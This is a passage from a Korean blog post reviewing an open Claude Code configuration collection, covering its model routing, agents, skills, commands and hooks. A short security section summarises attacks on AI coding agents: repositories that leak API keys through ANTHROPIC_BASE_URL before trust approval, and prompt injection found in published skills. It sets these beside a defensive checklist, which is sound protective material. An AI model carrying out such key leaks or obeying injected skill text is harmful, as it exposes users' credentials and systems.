&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;권장 모델&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;탐색/검색&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;빠르고 저렴하며, 파일 탐색에 충분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;일반 코딩 (90%)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Sonnet&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비용 대비 성능 최적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;아키텍처/보안&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Opus&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;깊은 추론 필요, 취약점 놓칠 수 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;문서 작성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;구조가 단순한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;복잡한 디버깅&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Opus&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전체 시스템 맥락이 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;mgrep &amp;mdash; 토큰 절감 도구&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC 공식 Longform Guide의 자체 벤치마크에 따르면, mgrep 플러그인은 기존 grep/ripgrep 대비 &lt;b&gt;약 50% 수준의 토큰 절감&lt;/b&gt;을 목표로 설계됐다. 다만 이 수치는 ECC 측이 공개한 50개 작업 벤치마크 기반이므로, 독립적인 외부 검증 수치로 보기는 어렵다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Security Guide &amp;mdash; 에이전트 보안&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트 보안에 대한 종합 가이드다. 실제 CVE와 공격 벡터를 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 보안 이슈 (2025-2026)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CVE-2025-59536&lt;/b&gt; (CVSS 8.7): Claude Code의 startup trust dialog 구현 버그로 인해 사용자가 신뢰를 승인하기 전에 프로젝트 내 코드가 실행될 수 있었던 취약점. v1.0.111에서 수정.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CVE-2026-21852:&lt;/b&gt; 악성 저장소가 프로젝트 로드 단계에서 &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; 등을 악용해 신뢰 확인 전에 API 요청을 보내고 키를 유출할 수 있었던 취약점. v2.0.65에서 수정.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Snyk ToxicSkills 보고서:&lt;/b&gt; 공개된 3,984개 스킬 중 36%에서 프롬프트 인젝션이 발견되었고, 1,467개의 악성 페이로드가 식별됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Security Guide가 제시하는 &lt;b&gt;최소 보안 기준 체크리스트&lt;/b&gt;:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;에이전트 ID를 개인 계정과 분리한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;단기 스코프 자격 증명을 사용한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;비신뢰 작업은 컨테이너/VM에서 격리하여 실행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;아웃바운드 네트워크를 기본 차단한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;비밀 정보가 담긴 경로에 대한 읽기를 제한한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일/HTML/스크린샷은 권한 있는 에이전트에 전달하기 전에 정제(sanitize)한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;도구 호출, 승인, 네트워크 시도를 로깅한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로세스 그룹 킬(kill)과 하트비트 기반 데드맨 스위치를 구현한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;제작자의 보안 철학&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;악의적인 텍스트가 컨텍스트에 들어올 것을 전제하고 만들어라. 도구 설명이 거짓말할 수 있다고 전제하고 만들어라. 저장소가 오염될 수 있다고 전제하고 만들어라. 그리고 모델이 악의적 입력에 설득당하더라도 시스템이 안전하게 동작하도록 만들어라.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 핵심 구성요소 상세 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 핵심 구성요소 상세&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6EfnX%2FdJMcahcQML7%2FxC7nB4SnfxIEaT2Kogiah1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;846&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Agents &amp;mdash; 36개 전문 에이전트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 에이전트는 YAML 프론트매터가 포함된 Markdown 파일로 정의된다. &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;tools&lt;/code&gt;(접근 가능한 도구), &lt;code&gt;model&lt;/code&gt;(사용 모델)을 지정한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# agents/planner.md 예시
---
name: planner
description: Expert planning specialist for complex features
tools: [&quot;Read&quot;, &quot;Grep&quot;, &quot;Glob&quot;]
model: opus
---
구현 계획을 단계별로 수립합니다. 독립적으로 전달 가능한
단계로 나누고, 위험 요소를 식별합니다...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고: model 프론트매터 우선순위&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 Claude Code 공식 문서는 서브에이전트 frontmatter의 &lt;code&gt;model&lt;/code&gt; 필드를 지원한다. 다만 실제 실행 모델은 &lt;code&gt;CLAUDE_CODE_SUBAGENT_MODEL&lt;/code&gt; 환경 변수 &amp;rarr; 호출 시 전달한 model &amp;rarr; 에이전트 frontmatter의 &lt;code&gt;model&lt;/code&gt; &amp;rarr; 메인 대화 모델 순서로 결정된다. 즉, frontmatter만 믿기보다 상위 override가 있는지 함께 봐야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트는 크게 다음 카테고리로 분류된다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기획/설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;planner (opus), architect (opus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;코드 품질&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;code-reviewer (opus), refactor-cleaner, 언어별 리뷰어 8개 (TS, Python, Go, Rust, Java, Kotlin, C++, Flutter)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;빌드 에러&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;build-error-resolver, 언어별 빌드 리졸버 6개 (Go, Rust, Kotlin, Java, C++, PyTorch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안/테스트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;security-reviewer, tdd-guide, e2e-runner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;운영/문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;loop-operator, harness-optimizer, chief-of-staff, doc-updater, docs-lookup, database-reviewer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 1인 개발팀 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ofI02/dJMcafzmiXm/XvNOZVHAkYeNv2AU9hA8v0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FofI02%2FdJMcafzmiXm%2FXvNOZVHAkYeNv2AU9hA8v0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;840&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills &amp;mdash; 151개 워크플로우 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬은 하위 디렉토리에 &lt;code&gt;SKILL.md&lt;/code&gt;로 구성되며, 도메인별로 분류된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;핵심 워크플로우:&lt;/b&gt; tdd-workflow, security-review, verification-loop, search-first, eval-harness&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Python:&lt;/b&gt; python-patterns, python-testing, django-* (4개), pytorch-patterns&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;TypeScript/JS:&lt;/b&gt; coding-standards, frontend-patterns, bun-runtime, nextjs-turbopack&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Go:&lt;/b&gt; golang-patterns, golang-testing&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Java/Kotlin:&lt;/b&gt; java-coding-standards, jpa-patterns, springboot-* (4개), kotlin-* (5개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rust/C++/Swift:&lt;/b&gt; rust-patterns, cpp-coding-standards, swift-* (4개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI/ML:&lt;/b&gt; cost-aware-llm-pipeline, prompt-optimizer, agentic-engineering&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비즈니스:&lt;/b&gt; article-writing, market-research, investor-materials&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;search-first 스킬 주목&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;코딩 전 리서치&quot;를 체계화한 스킬이다. 5단계 워크플로우(니즈 분석 &amp;rarr; 병렬 검색 &amp;rarr; 평가 &amp;rarr; 결정 &amp;rarr; 구현)로, 기존 패키지나 MCP를 먼저 조사한 뒤 직접 구현 여부를 결정한다. &quot;바로 코드부터 작성하기&quot; 안티패턴을 방지한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;834&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FUjD9/dJMcaiv2gSB/PXbOE8n4uXHHopsDQoMoX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFUjD9%2FdJMcaiv2gSB%2FPXbOE8n4uXHHopsDQoMoX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;834&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;834&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Commands &amp;mdash; 68개 레거시 슬래시 엔트리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 명령어를 카테고리별로 정리하면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;개발&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/plan&lt;/code&gt;, &lt;code&gt;/tdd&lt;/code&gt;, &lt;code&gt;/e2e&lt;/code&gt;, &lt;code&gt;/code-review&lt;/code&gt;, &lt;code&gt;/build-fix&lt;/code&gt;, &lt;code&gt;/verify&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;언어별&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/go-review&lt;/code&gt;, &lt;code&gt;/python-review&lt;/code&gt;, &lt;code&gt;/rust-review&lt;/code&gt;, &lt;code&gt;/kotlin-review&lt;/code&gt;, &lt;code&gt;/cpp-review&lt;/code&gt; 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;학습/세션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/learn&lt;/code&gt;, &lt;code&gt;/evolve&lt;/code&gt;, &lt;code&gt;/instinct-status&lt;/code&gt;, &lt;code&gt;/save-session&lt;/code&gt;, &lt;code&gt;/resume-session&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;멀티에이전트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/multi-plan&lt;/code&gt;, &lt;code&gt;/multi-execute&lt;/code&gt;, &lt;code&gt;/orchestrate&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;품질/유틸&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/harness-audit&lt;/code&gt;, &lt;code&gt;/quality-gate&lt;/code&gt;, &lt;code&gt;/model-route&lt;/code&gt;, &lt;code&gt;/context-budget&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hooks &amp;mdash; 자동화 훅 시스템&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 훅 시스템은 공개된 프로젝트 가운데 가장 정교한 구성에 속한다. 7개 이벤트 타입에 걸쳐 25개 이상의 훅이 작동한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E4AqW/dJMcab4L2CL/wnwDDzyBwMJTP6cYpLUcl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE4AqW%2FdJMcab4L2CL%2FwnwDDzyBwMJTP6cYpLUcl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;850&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;주요 훅 예시&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이벤트&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;훅&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;block-no-verify&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;git commit에서 &lt;code&gt;--no-verify&lt;/code&gt; 사용 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;config-protection&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;30개 이상의 린터/포맷터 설정 파일 수정 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PreToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;mcp-health-check&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비정상 MCP 서버 호출 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PostToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;post-edit-format&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;JS/TS 파일 자동 포맷 (Biome 또는 Prettier)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PostToolUse&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;post-edit-typecheck&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;.ts/.tsx 수정 후 TypeScript 타입 체크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Stop&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;evaluate-session&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세션에서 학습 가능한 패턴 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SessionStart&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;session-start&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;이전 세션 컨텍스트 로딩, 패키지 매니저 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프로파일 기반 제어&lt;/b&gt;&lt;br /&gt;
